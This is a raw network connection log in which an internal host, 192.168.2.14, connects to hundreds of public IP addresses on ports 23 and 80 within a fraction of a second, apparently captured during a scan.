Jan 30, 2025 10:43:00.067779064 CET	23	63367	91.8.216.194	192.168.2.14
Jan 30, 2025 10:43:00.067780972 CET	63367	23	192.168.2.14	156.235.36.36
Jan 30, 2025 10:43:00.067790031 CET	23	63367	12.190.135.97	192.168.2.14
Jan 30, 2025 10:43:00.067806005 CET	63367	23	192.168.2.14	46.110.16.187
Jan 30, 2025 10:43:00.067811012 CET	63367	23	192.168.2.14	91.8.216.194
Jan 30, 2025 10:43:00.067822933 CET	62855	80	192.168.2.14	93.24.133.253
Jan 30, 2025 10:43:00.067826033 CET	62855	80	192.168.2.14	41.102.78.109
Jan 30, 2025 10:43:00.067830086 CET	63367	23	192.168.2.14	12.190.135.97
Jan 30, 2025 10:43:00.067835093 CET	62855	80	192.168.2.14	163.203.166.137
Jan 30, 2025 10:43:00.067848921 CET	62855	80	192.168.2.14	71.52.157.180
Jan 30, 2025 10:43:00.067852974 CET	62855	80	192.168.2.14	102.228.247.160
Jan 30, 2025 10:43:00.067853928 CET	62855	80	192.168.2.14	156.114.249.224
Jan 30, 2025 10:43:00.067874908 CET	62855	80	192.168.2.14	40.97.127.126
Jan 30, 2025 10:43:00.067898035 CET	62855	80	192.168.2.14	221.204.118.50
Jan 30, 2025 10:43:00.067898035 CET	62855	80	192.168.2.14	54.87.158.117
Jan 30, 2025 10:43:00.067903042 CET	62855	80	192.168.2.14	167.95.37.105
Jan 30, 2025 10:43:00.067914009 CET	62855	80	192.168.2.14	202.158.129.118
Jan 30, 2025 10:43:00.067925930 CET	62855	80	192.168.2.14	24.29.122.83
Jan 30, 2025 10:43:00.067936897 CET	62855	80	192.168.2.14	109.93.61.91
Jan 30, 2025 10:43:00.067939997 CET	62855	80	192.168.2.14	222.8.71.76
Jan 30, 2025 10:43:00.067949057 CET	62855	80	192.168.2.14	180.246.42.84
Jan 30, 2025 10:43:00.067970991 CET	62855	80	192.168.2.14	101.99.144.61
Jan 30, 2025 10:43:00.067970991 CET	62855	80	192.168.2.14	218.142.171.47
Jan 30, 2025 10:43:00.067971945 CET	62855	80	192.168.2.14	164.162.138.202
Jan 30, 2025 10:43:00.067981958 CET	62855	80	192.168.2.14	72.190.163.202
Jan 30, 2025 10:43:00.067981958 CET	62855	80	192.168.2.14	101.105.101.85
Jan 30, 2025 10:43:00.067995071 CET	62855	80	192.168.2.14	13.31.53.69
Jan 30, 2025 10:43:00.068000078 CET	62855	80	192.168.2.14	116.141.13.77
Jan 30, 2025 10:43:00.068011045 CET	62855	80	192.168.2.14	124.170.78.40
Jan 30, 2025 10:43:00.068016052 CET	62855	80	192.168.2.14	64.194.130.124
Jan 30, 2025 10:43:00.068027020 CET	23	63367	144.240.121.185	192.168.2.14
Jan 30, 2025 10:43:00.068037987 CET	23	63367	83.48.115.74	192.168.2.14
Jan 30, 2025 10:43:00.068044901 CET	62855	80	192.168.2.14	32.20.136.243
Jan 30, 2025 10:43:00.068048000 CET	62855	80	192.168.2.14	189.18.211.232
Jan 30, 2025 10:43:00.068048954 CET	23	63367	134.180.196.138	192.168.2.14
Jan 30, 2025 10:43:00.068048954 CET	62855	80	192.168.2.14	188.152.22.164
Jan 30, 2025 10:43:00.068059921 CET	23	63367	182.190.182.139	192.168.2.14
Jan 30, 2025 10:43:00.068063021 CET	63367	23	192.168.2.14	144.240.121.185
Jan 30, 2025 10:43:00.068068027 CET	63367	23	192.168.2.14	83.48.115.74
Jan 30, 2025 10:43:00.068070889 CET	23	63367	186.108.132.161	192.168.2.14
Jan 30, 2025 10:43:00.068077087 CET	62855	80	192.168.2.14	153.28.150.0
Jan 30, 2025 10:43:00.068082094 CET	23	63367	168.220.240.96	192.168.2.14
Jan 30, 2025 10:43:00.068083048 CET	63367	23	192.168.2.14	134.180.196.138
Jan 30, 2025 10:43:00.068094015 CET	63367	23	192.168.2.14	182.190.182.139
Jan 30, 2025 10:43:00.068097115 CET	63367	23	192.168.2.14	186.108.132.161
Jan 30, 2025 10:43:00.068109035 CET	63367	23	192.168.2.14	168.220.240.96
Jan 30, 2025 10:43:00.068111897 CET	62855	80	192.168.2.14	183.112.108.163
Jan 30, 2025 10:43:00.068140984 CET	62855	80	192.168.2.14	169.71.185.12
Jan 30, 2025 10:43:00.068145990 CET	62855	80	192.168.2.14	140.69.154.1
Jan 30, 2025 10:43:00.068149090 CET	62855	80	192.168.2.14	154.164.115.164
Jan 30, 2025 10:43:00.068178892 CET	23	63367	148.138.193.176	192.168.2.14
Jan 30, 2025 10:43:00.068180084 CET	62855	80	192.168.2.14	201.225.216.198
Jan 30, 2025 10:43:00.068181038 CET	62855	80	192.168.2.14	91.99.79.0
Jan 30, 2025 10:43:00.068183899 CET	62855	80	192.168.2.14	199.71.176.72
Jan 30, 2025 10:43:00.068191051 CET	23	63367	190.204.91.100	192.168.2.14
Jan 30, 2025 10:43:00.068196058 CET	62855	80	192.168.2.14	58.149.86.49
Jan 30, 2025 10:43:00.068202972 CET	23	63367	166.186.122.252	192.168.2.14
Jan 30, 2025 10:43:00.068206072 CET	62855	80	192.168.2.14	223.231.66.61
Jan 30, 2025 10:43:00.068212032 CET	63367	23	192.168.2.14	148.138.193.176
Jan 30, 2025 10:43:00.068212986 CET	62855	80	192.168.2.14	47.230.157.208
Jan 30, 2025 10:43:00.068214893 CET	23	63367	78.11.56.134	192.168.2.14
Jan 30, 2025 10:43:00.068222046 CET	63367	23	192.168.2.14	190.204.91.100
Jan 30, 2025 10:43:00.068226099 CET	23	63367	151.133.79.171	192.168.2.14
Jan 30, 2025 10:43:00.068238020 CET	23	63367	220.254.130.245	192.168.2.14
Jan 30, 2025 10:43:00.068243980 CET	63367	23	192.168.2.14	166.186.122.252
Jan 30, 2025 10:43:00.068248034 CET	23	63367	154.78.162.147	192.168.2.14
Jan 30, 2025 10:43:00.068248987 CET	63367	23	192.168.2.14	78.11.56.134
Jan 30, 2025 10:43:00.068260908 CET	23	63367	153.170.88.81	192.168.2.14
Jan 30, 2025 10:43:00.068265915 CET	63367	23	192.168.2.14	151.133.79.171
Jan 30, 2025 10:43:00.068265915 CET	62855	80	192.168.2.14	14.130.211.223
Jan 30, 2025 10:43:00.068269968 CET	63367	23	192.168.2.14	220.254.130.245
Jan 30, 2025 10:43:00.068270922 CET	23	63367	108.99.236.56	192.168.2.14
Jan 30, 2025 10:43:00.068280935 CET	62855	80	192.168.2.14	130.219.127.143
Jan 30, 2025 10:43:00.068283081 CET	63367	23	192.168.2.14	154.78.162.147
Jan 30, 2025 10:43:00.068283081 CET	62855	80	192.168.2.14	75.104.75.176
Jan 30, 2025 10:43:00.068290949 CET	23	63367	209.137.34.21	192.168.2.14
Jan 30, 2025 10:43:00.068295002 CET	63367	23	192.168.2.14	153.170.88.81
Jan 30, 2025 10:43:00.068296909 CET	62855	80	192.168.2.14	91.128.91.22
Jan 30, 2025 10:43:00.068296909 CET	62855	80	192.168.2.14	18.170.17.66
Jan 30, 2025 10:43:00.068301916 CET	23	63367	9.254.219.138	192.168.2.14
Jan 30, 2025 10:43:00.068312883 CET	23	63367	172.122.107.225	192.168.2.14
Jan 30, 2025 10:43:00.068312883 CET	63367	23	192.168.2.14	108.99.236.56
Jan 30, 2025 10:43:00.068322897 CET	23	63367	180.0.82.182	192.168.2.14
Jan 30, 2025 10:43:00.068324089 CET	63367	23	192.168.2.14	209.137.34.21
Jan 30, 2025 10:43:00.068331957 CET	63367	23	192.168.2.14	9.254.219.138
Jan 30, 2025 10:43:00.068335056 CET	23	63367	104.128.5.224	192.168.2.14
Jan 30, 2025 10:43:00.068346024 CET	23	63367	81.66.139.127	192.168.2.14
Jan 30, 2025 10:43:00.068351030 CET	63367	23	192.168.2.14	172.122.107.225
Jan 30, 2025 10:43:00.068361998 CET	62855	80	192.168.2.14	124.155.57.184
Jan 30, 2025 10:43:00.068361998 CET	63367	23	192.168.2.14	104.128.5.224
Jan 30, 2025 10:43:00.068361998 CET	23	63367	36.162.42.80	192.168.2.14
Jan 30, 2025 10:43:00.068362951 CET	62855	80	192.168.2.14	76.70.153.23
Jan 30, 2025 10:43:00.068366051 CET	63367	23	192.168.2.14	180.0.82.182
Jan 30, 2025 10:43:00.068372965 CET	23	63367	61.231.44.148	192.168.2.14
Jan 30, 2025 10:43:00.068377018 CET	62855	80	192.168.2.14	188.84.228.143
Jan 30, 2025 10:43:00.068383932 CET	23	63367	25.126.45.214	192.168.2.14
Jan 30, 2025 10:43:00.068384886 CET	63367	23	192.168.2.14	81.66.139.127
Jan 30, 2025 10:43:00.068389893 CET	63367	23	192.168.2.14	36.162.42.80
Jan 30, 2025 10:43:00.068396091 CET	23	63367	191.8.40.247	192.168.2.14
Jan 30, 2025 10:43:00.068407059 CET	23	63367	59.248.6.244	192.168.2.14
Jan 30, 2025 10:43:00.068408012 CET	63367	23	192.168.2.14	61.231.44.148
Jan 30, 2025 10:43:00.068412066 CET	63367	23	192.168.2.14	25.126.45.214
Jan 30, 2025 10:43:00.068419933 CET	23	63367	85.226.59.176	192.168.2.14
Jan 30, 2025 10:43:00.068430901 CET	23	63367	205.223.57.32	192.168.2.14
Jan 30, 2025 10:43:00.068432093 CET	62855	80	192.168.2.14	142.231.215.51
Jan 30, 2025 10:43:00.068434000 CET	62855	80	192.168.2.14	152.129.178.243
Jan 30, 2025 10:43:00.068438053 CET	63367	23	192.168.2.14	191.8.40.247
Jan 30, 2025 10:43:00.068443060 CET	63367	23	192.168.2.14	59.248.6.244
Jan 30, 2025 10:43:00.068455935 CET	63367	23	192.168.2.14	85.226.59.176
Jan 30, 2025 10:43:00.068461895 CET	63367	23	192.168.2.14	205.223.57.32
Jan 30, 2025 10:43:00.068478107 CET	62855	80	192.168.2.14	64.30.33.55
Jan 30, 2025 10:43:00.068478107 CET	62855	80	192.168.2.14	115.27.91.61
Jan 30, 2025 10:43:00.068478107 CET	62855	80	192.168.2.14	66.84.50.216
Jan 30, 2025 10:43:00.068496943 CET	62855	80	192.168.2.14	42.137.3.170
Jan 30, 2025 10:43:00.068496943 CET	62855	80	192.168.2.14	104.65.63.136
Jan 30, 2025 10:43:00.068504095 CET	62855	80	192.168.2.14	36.244.20.137
Jan 30, 2025 10:43:00.068516970 CET	62855	80	192.168.2.14	37.189.190.222
Jan 30, 2025 10:43:00.068523884 CET	62855	80	192.168.2.14	117.36.218.208
Jan 30, 2025 10:43:00.068527937 CET	62855	80	192.168.2.14	176.11.178.157
Jan 30, 2025 10:43:00.068528891 CET	62855	80	192.168.2.14	70.171.35.104
Jan 30, 2025 10:43:00.068535089 CET	62855	80	192.168.2.14	45.159.42.170
Jan 30, 2025 10:43:00.068546057 CET	62855	80	192.168.2.14	120.156.154.135
Jan 30, 2025 10:43:00.068564892 CET	62855	80	192.168.2.14	171.85.237.97
Jan 30, 2025 10:43:00.068566084 CET	62855	80	192.168.2.14	70.67.135.56
Jan 30, 2025 10:43:00.068571091 CET	62855	80	192.168.2.14	23.195.253.247
Jan 30, 2025 10:43:00.068583012 CET	62855	80	192.168.2.14	196.131.224.189
Jan 30, 2025 10:43:00.068583012 CET	62855	80	192.168.2.14	32.84.125.20
Jan 30, 2025 10:43:00.068597078 CET	62855	80	192.168.2.14	196.3.191.224
Jan 30, 2025 10:43:00.068599939 CET	62855	80	192.168.2.14	143.101.149.90
Jan 30, 2025 10:43:00.068612099 CET	62855	80	192.168.2.14	58.95.204.51
Jan 30, 2025 10:43:00.068640947 CET	62855	80	192.168.2.14	170.200.119.231
Jan 30, 2025 10:43:00.068662882 CET	62855	80	192.168.2.14	107.214.109.83
Jan 30, 2025 10:43:00.068720102 CET	62855	80	192.168.2.14	198.151.162.206
Jan 30, 2025 10:43:00.068723917 CET	62855	80	192.168.2.14	12.55.101.186
Jan 30, 2025 10:43:00.068737030 CET	62855	80	192.168.2.14	149.247.70.10
Jan 30, 2025 10:43:00.068737984 CET	62855	80	192.168.2.14	43.83.128.171
Jan 30, 2025 10:43:00.068738937 CET	62855	80	192.168.2.14	153.31.89.75
Jan 30, 2025 10:43:00.068739891 CET	62855	80	192.168.2.14	53.182.223.56
Jan 30, 2025 10:43:00.068747044 CET	62855	80	192.168.2.14	126.245.114.212
Jan 30, 2025 10:43:00.068756104 CET	62855	80	192.168.2.14	206.244.102.161
Jan 30, 2025 10:43:00.068759918 CET	23	63367	203.81.83.84	192.168.2.14
Jan 30, 2025 10:43:00.068763018 CET	62855	80	192.168.2.14	90.64.6.63
Jan 30, 2025 10:43:00.068772078 CET	23	63367	138.7.2.241	192.168.2.14
Jan 30, 2025 10:43:00.068782091 CET	23	63367	132.254.82.72	192.168.2.14
Jan 30, 2025 10:43:00.068793058 CET	23	63367	70.121.52.128	192.168.2.14
Jan 30, 2025 10:43:00.068799019 CET	63367	23	192.168.2.14	203.81.83.84
Jan 30, 2025 10:43:00.068800926 CET	63367	23	192.168.2.14	138.7.2.241
Jan 30, 2025 10:43:00.068800926 CET	62855	80	192.168.2.14	202.243.9.93
Jan 30, 2025 10:43:00.068804026 CET	23	63367	117.177.42.38	192.168.2.14
Jan 30, 2025 10:43:00.068805933 CET	62855	80	192.168.2.14	14.139.27.83
Jan 30, 2025 10:43:00.068813086 CET	62855	80	192.168.2.14	185.103.128.119
Jan 30, 2025 10:43:00.068814993 CET	23	63367	152.103.77.192	192.168.2.14
Jan 30, 2025 10:43:00.068819046 CET	63367	23	192.168.2.14	132.254.82.72
Jan 30, 2025 10:43:00.068821907 CET	63367	23	192.168.2.14	70.121.52.128
Jan 30, 2025 10:43:00.068829060 CET	23	63367	125.199.137.177	192.168.2.14
Jan 30, 2025 10:43:00.068830013 CET	62855	80	192.168.2.14	161.80.48.54
Jan 30, 2025 10:43:00.068837881 CET	62855	80	192.168.2.14	139.203.17.83
Jan 30, 2025 10:43:00.068837881 CET	63367	23	192.168.2.14	152.103.77.192
Jan 30, 2025 10:43:00.068840981 CET	63367	23	192.168.2.14	117.177.42.38
Jan 30, 2025 10:43:00.068840981 CET	62855	80	192.168.2.14	13.56.93.149
Jan 30, 2025 10:43:00.068850040 CET	23	63367	97.236.101.246	192.168.2.14
Jan 30, 2025 10:43:00.068851948 CET	62855	80	192.168.2.14	43.234.156.6
Jan 30, 2025 10:43:00.068851948 CET	62855	80	192.168.2.14	8.247.107.28
Jan 30, 2025 10:43:00.068861008 CET	23	63367	182.42.78.3	192.168.2.14
Jan 30, 2025 10:43:00.068861008 CET	63367	23	192.168.2.14	125.199.137.177
Jan 30, 2025 10:43:00.068871975 CET	23	63367	130.47.123.88	192.168.2.14
Jan 30, 2025 10:43:00.068873882 CET	62855	80	192.168.2.14	37.86.139.71
Jan 30, 2025 10:43:00.068875074 CET	62855	80	192.168.2.14	94.45.193.170
Jan 30, 2025 10:43:00.068875074 CET	63367	23	192.168.2.14	97.236.101.246
Jan 30, 2025 10:43:00.068880081 CET	62855	80	192.168.2.14	103.44.133.210
Jan 30, 2025 10:43:00.068881989 CET	23	63367	118.122.179.203	192.168.2.14
Jan 30, 2025 10:43:00.068885088 CET	62855	80	192.168.2.14	167.83.109.80
Jan 30, 2025 10:43:00.068892956 CET	23	63367	64.94.223.237	192.168.2.14
Jan 30, 2025 10:43:00.068896055 CET	63367	23	192.168.2.14	182.42.78.3
Jan 30, 2025 10:43:00.068902016 CET	63367	23	192.168.2.14	130.47.123.88
Jan 30, 2025 10:43:00.068906069 CET	23	63367	163.164.56.211	192.168.2.14
Jan 30, 2025 10:43:00.068917036 CET	23	63367	115.102.134.114	192.168.2.14
Jan 30, 2025 10:43:00.068918943 CET	63367	23	192.168.2.14	118.122.179.203
Jan 30, 2025 10:43:00.068924904 CET	62855	80	192.168.2.14	112.235.91.75
Jan 30, 2025 10:43:00.068926096 CET	23	63367	177.27.110.57	192.168.2.14
Jan 30, 2025 10:43:00.068926096 CET	63367	23	192.168.2.14	64.94.223.237
Jan 30, 2025 10:43:00.068926096 CET	62855	80	192.168.2.14	95.58.145.95
Jan 30, 2025 10:43:00.068937063 CET	23	63367	12.182.148.182	192.168.2.14
Jan 30, 2025 10:43:00.068939924 CET	62855	80	192.168.2.14	75.126.156.38
Jan 30, 2025 10:43:00.068941116 CET	62855	80	192.168.2.14	148.126.172.10
Jan 30, 2025 10:43:00.068943977 CET	63367	23	192.168.2.14	163.164.56.211
Jan 30, 2025 10:43:00.068948030 CET	23	63367	89.80.59.56	192.168.2.14
Jan 30, 2025 10:43:00.068950891 CET	62855	80	192.168.2.14	63.179.229.61
Jan 30, 2025 10:43:00.068950891 CET	63367	23	192.168.2.14	177.27.110.57
Jan 30, 2025 10:43:00.068950891 CET	62855	80	192.168.2.14	135.33.37.175
Jan 30, 2025 10:43:00.068954945 CET	63367	23	192.168.2.14	115.102.134.114
Jan 30, 2025 10:43:00.068958044 CET	23	63367	113.141.46.119	192.168.2.14
Jan 30, 2025 10:43:00.068963051 CET	62855	80	192.168.2.14	14.190.218.71
Jan 30, 2025 10:43:00.068963051 CET	62855	80	192.168.2.14	135.121.243.76
Jan 30, 2025 10:43:00.068964958 CET	62855	80	192.168.2.14	167.137.151.25
Jan 30, 2025 10:43:00.068974018 CET	62855	80	192.168.2.14	119.27.8.73
Jan 30, 2025 10:43:00.068980932 CET	63367	23	192.168.2.14	12.182.148.182
Jan 30, 2025 10:43:00.068981886 CET	23	63367	12.184.28.148	192.168.2.14
Jan 30, 2025 10:43:00.068983078 CET	63367	23	192.168.2.14	89.80.59.56
Jan 30, 2025 10:43:00.068984032 CET	62855	80	192.168.2.14	144.85.7.196
Jan 30, 2025 10:43:00.068988085 CET	23	63367	164.171.45.215	192.168.2.14
Jan 30, 2025 10:43:00.068989038 CET	62855	80	192.168.2.14	142.123.19.80
Jan 30, 2025 10:43:00.068993092 CET	62855	80	192.168.2.14	17.134.11.14
Jan 30, 2025 10:43:00.068999052 CET	23	63367	111.68.115.161	192.168.2.14
Jan 30, 2025 10:43:00.069005013 CET	23	63367	137.135.173.119	192.168.2.14
Jan 30, 2025 10:43:00.069010019 CET	62855	80	192.168.2.14	212.146.212.212
Jan 30, 2025 10:43:00.069010973 CET	63367	23	192.168.2.14	113.141.46.119
Jan 30, 2025 10:43:00.069010973 CET	62855	80	192.168.2.14	103.213.214.129
Jan 30, 2025 10:43:00.069015980 CET	23	63367	219.65.175.199	192.168.2.14
Jan 30, 2025 10:43:00.069022894 CET	63367	23	192.168.2.14	12.184.28.148
Jan 30, 2025 10:43:00.069027901 CET	23	63367	117.123.156.42	192.168.2.14
Jan 30, 2025 10:43:00.069031954 CET	63367	23	192.168.2.14	164.171.45.215
Jan 30, 2025 10:43:00.069039106 CET	23	63367	36.190.9.74	192.168.2.14
Jan 30, 2025 10:43:00.069042921 CET	63367	23	192.168.2.14	137.135.173.119
Jan 30, 2025 10:43:00.069050074 CET	23	63367	41.159.9.3	192.168.2.14
Jan 30, 2025 10:43:00.069051027 CET	63367	23	192.168.2.14	111.68.115.161
Jan 30, 2025 10:43:00.069051981 CET	63367	23	192.168.2.14	219.65.175.199
Jan 30, 2025 10:43:00.069056034 CET	62855	80	192.168.2.14	155.198.4.108
Jan 30, 2025 10:43:00.069058895 CET	63367	23	192.168.2.14	117.123.156.42
Jan 30, 2025 10:43:00.069061041 CET	23	63367	222.155.124.95	192.168.2.14
Jan 30, 2025 10:43:00.069072008 CET	23	63367	48.254.78.30	192.168.2.14
Jan 30, 2025 10:43:00.069072008 CET	62855	80	192.168.2.14	20.190.13.119
Jan 30, 2025 10:43:00.069081068 CET	63367	23	192.168.2.14	36.190.9.74
Jan 30, 2025 10:43:00.069082975 CET	63367	23	192.168.2.14	41.159.9.3
Jan 30, 2025 10:43:00.069082975 CET	62855	80	192.168.2.14	169.134.77.237
Jan 30, 2025 10:43:00.069091082 CET	63367	23	192.168.2.14	222.155.124.95
Jan 30, 2025 10:43:00.069103003 CET	63367	23	192.168.2.14	48.254.78.30
Jan 30, 2025 10:43:00.069145918 CET	62855	80	192.168.2.14	19.48.24.237
Jan 30, 2025 10:43:00.069159031 CET	62855	80	192.168.2.14	192.36.128.195
Jan 30, 2025 10:43:00.069159985 CET	62855	80	192.168.2.14	107.102.56.208
Jan 30, 2025 10:43:00.069165945 CET	62855	80	192.168.2.14	76.228.178.139
Jan 30, 2025 10:43:00.069165945 CET	62855	80	192.168.2.14	32.243.4.33
Jan 30, 2025 10:43:00.069170952 CET	62855	80	192.168.2.14	219.124.101.191
Jan 30, 2025 10:43:00.069173098 CET	62855	80	192.168.2.14	207.173.216.199
Jan 30, 2025 10:43:00.069175959 CET	62855	80	192.168.2.14	151.165.83.172
Jan 30, 2025 10:43:00.069183111 CET	62855	80	192.168.2.14	148.70.250.60
Jan 30, 2025 10:43:00.069183111 CET	62855	80	192.168.2.14	69.179.37.238
Jan 30, 2025 10:43:00.069211006 CET	62855	80	192.168.2.14	104.250.231.48
Jan 30, 2025 10:43:00.069216967 CET	62855	80	192.168.2.14	79.203.84.48
Jan 30, 2025 10:43:00.069217920 CET	62855	80	192.168.2.14	206.228.21.107
Jan 30, 2025 10:43:00.069245100 CET	62855	80	192.168.2.14	113.148.146.197
Jan 30, 2025 10:43:00.069257975 CET	62855	80	192.168.2.14	91.92.249.234
Jan 30, 2025 10:43:00.069257975 CET	62855	80	192.168.2.14	144.10.187.85
Jan 30, 2025 10:43:00.069262028 CET	62855	80	192.168.2.14	69.152.33.44
Jan 30, 2025 10:43:00.069274902 CET	62855	80	192.168.2.14	135.235.146.195
Jan 30, 2025 10:43:00.069274902 CET	62855	80	192.168.2.14	67.120.157.5
Jan 30, 2025 10:43:00.069287062 CET	23	63367	73.89.32.226	192.168.2.14
Jan 30, 2025 10:43:00.069286108 CET	62855	80	192.168.2.14	57.162.48.58
Jan 30, 2025 10:43:00.069288015 CET	62855	80	192.168.2.14	207.195.50.93
Jan 30, 2025 10:43:00.069299936 CET	23	63367	155.131.135.180	192.168.2.14
Jan 30, 2025 10:43:00.069308996 CET	23	63367	152.220.176.110	192.168.2.14
Jan 30, 2025 10:43:00.069322109 CET	63367	23	192.168.2.14	73.89.32.226
Jan 30, 2025 10:43:00.069322109 CET	63367	23	192.168.2.14	155.131.135.180
Jan 30, 2025 10:43:00.069348097 CET	63367	23	192.168.2.14	152.220.176.110
Jan 30, 2025 10:43:00.069379091 CET	62855	80	192.168.2.14	172.66.73.190
Jan 30, 2025 10:43:00.069385052 CET	62855	80	192.168.2.14	85.67.211.58
Jan 30, 2025 10:43:00.069399118 CET	62855	80	192.168.2.14	107.251.13.205
Jan 30, 2025 10:43:00.069400072 CET	62855	80	192.168.2.14	182.44.1.128
Jan 30, 2025 10:43:00.069399118 CET	62855	80	192.168.2.14	17.226.211.55
Jan 30, 2025 10:43:00.069437027 CET	23	63367	86.48.117.93	192.168.2.14
Jan 30, 2025 10:43:00.069437027 CET	62855	80	192.168.2.14	23.12.102.222
Jan 30, 2025 10:43:00.069437981 CET	62855	80	192.168.2.14	200.209.40.223
Jan 30, 2025 10:43:00.069447994 CET	62855	80	192.168.2.14	8.228.23.204
Jan 30, 2025 10:43:00.069447994 CET	62855	80	192.168.2.14	109.161.22.103
Jan 30, 2025 10:43:00.069448948 CET	23	63367	31.253.109.226	192.168.2.14
Jan 30, 2025 10:43:00.069453001 CET	62855	80	192.168.2.14	50.174.166.7
Jan 30, 2025 10:43:00.069459915 CET	23	63367	1.46.164.36	192.168.2.14
Jan 30, 2025 10:43:00.069468021 CET	62855	80	192.168.2.14	212.143.140.222
Jan 30, 2025 10:43:00.069470882 CET	23	63367	62.108.88.181	192.168.2.14
Jan 30, 2025 10:43:00.069474936 CET	62855	80	192.168.2.14	90.51.118.137
Jan 30, 2025 10:43:00.069479942 CET	63367	23	192.168.2.14	86.48.117.93
Jan 30, 2025 10:43:00.069482088 CET	63367	23	192.168.2.14	31.253.109.226
Jan 30, 2025 10:43:00.069482088 CET	23	63367	213.35.19.254	192.168.2.14
Jan 30, 2025 10:43:00.069485903 CET	62855	80	192.168.2.14	19.226.188.37
Jan 30, 2025 10:43:00.069493055 CET	23	63367	85.253.139.105	192.168.2.14
Jan 30, 2025 10:43:00.069503069 CET	63367	23	192.168.2.14	1.46.164.36
Jan 30, 2025 10:43:00.069510937 CET	23	63367	145.230.106.98	192.168.2.14
Jan 30, 2025 10:43:00.069514990 CET	63367	23	192.168.2.14	213.35.19.254
Jan 30, 2025 10:43:00.069514990 CET	63367	23	192.168.2.14	62.108.88.181
Jan 30, 2025 10:43:00.069514990 CET	62855	80	192.168.2.14	216.254.183.56
Jan 30, 2025 10:43:00.069523096 CET	62855	80	192.168.2.14	148.78.132.219
Jan 30, 2025 10:43:00.069524050 CET	23	63367	114.90.20.230	192.168.2.14
Jan 30, 2025 10:43:00.069530010 CET	63367	23	192.168.2.14	85.253.139.105
Jan 30, 2025 10:43:00.069536924 CET	23	63367	97.223.150.248	192.168.2.14
Jan 30, 2025 10:43:00.069544077 CET	63367	23	192.168.2.14	145.230.106.98
Jan 30, 2025 10:43:00.069550991 CET	62855	80	192.168.2.14	31.103.60.181
Jan 30, 2025 10:43:00.069557905 CET	23	63367	188.221.125.106	192.168.2.14
Jan 30, 2025 10:43:00.069567919 CET	23	63367	193.79.159.183	192.168.2.14
Jan 30, 2025 10:43:00.069569111 CET	63367	23	192.168.2.14	114.90.20.230
Jan 30, 2025 10:43:00.069569111 CET	63367	23	192.168.2.14	97.223.150.248
Jan 30, 2025 10:43:00.069574118 CET	62855	80	192.168.2.14	109.211.41.10
Jan 30, 2025 10:43:00.069578886 CET	62855	80	192.168.2.14	150.42.138.187
Jan 30, 2025 10:43:00.069578886 CET	23	63367	116.213.145.235	192.168.2.14
Jan 30, 2025 10:43:00.069580078 CET	62855	80	192.168.2.14	126.105.36.17
Jan 30, 2025 10:43:00.069591045 CET	23	63367	199.19.164.252	192.168.2.14
Jan 30, 2025 10:43:00.069591999 CET	62855	80	192.168.2.14	173.0.154.121
Jan 30, 2025 10:43:00.069598913 CET	63367	23	192.168.2.14	188.221.125.106
Jan 30, 2025 10:43:00.069598913 CET	63367	23	192.168.2.14	116.213.145.235
Jan 30, 2025 10:43:00.069602013 CET	23	63367	222.138.42.109	192.168.2.14
Jan 30, 2025 10:43:00.069612026 CET	23	63367	104.237.221.133	192.168.2.14
Jan 30, 2025 10:43:00.069617987 CET	63367	23	192.168.2.14	193.79.159.183
Jan 30, 2025 10:43:00.069622993 CET	23	63367	188.128.233.105	192.168.2.14
Jan 30, 2025 10:43:00.069633007 CET	23	63367	143.212.121.104	192.168.2.14
Jan 30, 2025 10:43:00.069633961 CET	63367	23	192.168.2.14	199.19.164.252
Jan 30, 2025 10:43:00.069637060 CET	63367	23	192.168.2.14	104.237.221.133
Jan 30, 2025 10:43:00.069638968 CET	63367	23	192.168.2.14	222.138.42.109
Jan 30, 2025 10:43:00.069641113 CET	62855	80	192.168.2.14	142.106.36.164
Jan 30, 2025 10:43:00.069641113 CET	62855	80	192.168.2.14	139.50.85.80
Jan 30, 2025 10:43:00.069643021 CET	23	63367	37.118.72.121	192.168.2.14
Jan 30, 2025 10:43:00.069650888 CET	62855	80	192.168.2.14	132.76.71.24
Jan 30, 2025 10:43:00.069657087 CET	23	63367	185.224.194.243	192.168.2.14
Jan 30, 2025 10:43:00.069658995 CET	63367	23	192.168.2.14	143.212.121.104
Jan 30, 2025 10:43:00.069667101 CET	63367	23	192.168.2.14	188.128.233.105
Jan 30, 2025 10:43:00.069669962 CET	23	63367	121.254.88.154	192.168.2.14
Jan 30, 2025 10:43:00.069673061 CET	62855	80	192.168.2.14	39.129.40.6
Jan 30, 2025 10:43:00.069675922 CET	23	63367	9.145.130.231	192.168.2.14
Jan 30, 2025 10:43:00.069677114 CET	63367	23	192.168.2.14	37.118.72.121
Jan 30, 2025 10:43:00.069679976 CET	62855	80	192.168.2.14	152.124.239.68
Jan 30, 2025 10:43:00.069681883 CET	23	63367	195.53.253.192	192.168.2.14
Jan 30, 2025 10:43:00.069686890 CET	23	63367	133.77.107.1	192.168.2.14
Jan 30, 2025 10:43:00.069693089 CET	62855	80	192.168.2.14	216.142.41.82
Jan 30, 2025 10:43:00.069698095 CET	63367	23	192.168.2.14	121.254.88.154
Jan 30, 2025 10:43:00.069698095 CET	23	63367	202.142.231.26	192.168.2.14
Jan 30, 2025 10:43:00.069703102 CET	63367	23	192.168.2.14	185.224.194.243
Jan 30, 2025 10:43:00.069709063 CET	23	63367	195.150.1.162	192.168.2.14
Jan 30, 2025 10:43:00.069726944 CET	63367	23	192.168.2.14	195.53.253.192
Jan 30, 2025 10:43:00.069727898 CET	63367	23	192.168.2.14	9.145.130.231
Jan 30, 2025 10:43:00.069727898 CET	63367	23	192.168.2.14	202.142.231.26
Jan 30, 2025 10:43:00.069737911 CET	63367	23	192.168.2.14	133.77.107.1
Jan 30, 2025 10:43:00.069739103 CET	62855	80	192.168.2.14	58.22.246.17
Jan 30, 2025 10:43:00.069755077 CET	63367	23	192.168.2.14	195.150.1.162
Jan 30, 2025 10:43:00.069777012 CET	62855	80	192.168.2.14	50.215.62.110
Jan 30, 2025 10:43:00.069801092 CET	62855	80	192.168.2.14	92.149.179.122
Jan 30, 2025 10:43:00.069801092 CET	62855	80	192.168.2.14	31.96.64.186
Jan 30, 2025 10:43:00.069806099 CET	62855	80	192.168.2.14	112.4.122.145
Jan 30, 2025 10:43:00.069813013 CET	62855	80	192.168.2.14	53.17.124.168
Jan 30, 2025 10:43:00.069825888 CET	62855	80	192.168.2.14	219.89.136.181
Jan 30, 2025 10:43:00.069825888 CET	62855	80	192.168.2.14	103.63.230.178
Jan 30, 2025 10:43:00.069844007 CET	62855	80	192.168.2.14	45.52.168.189
Jan 30, 2025 10:43:00.069844007 CET	62855	80	192.168.2.14	126.241.56.100
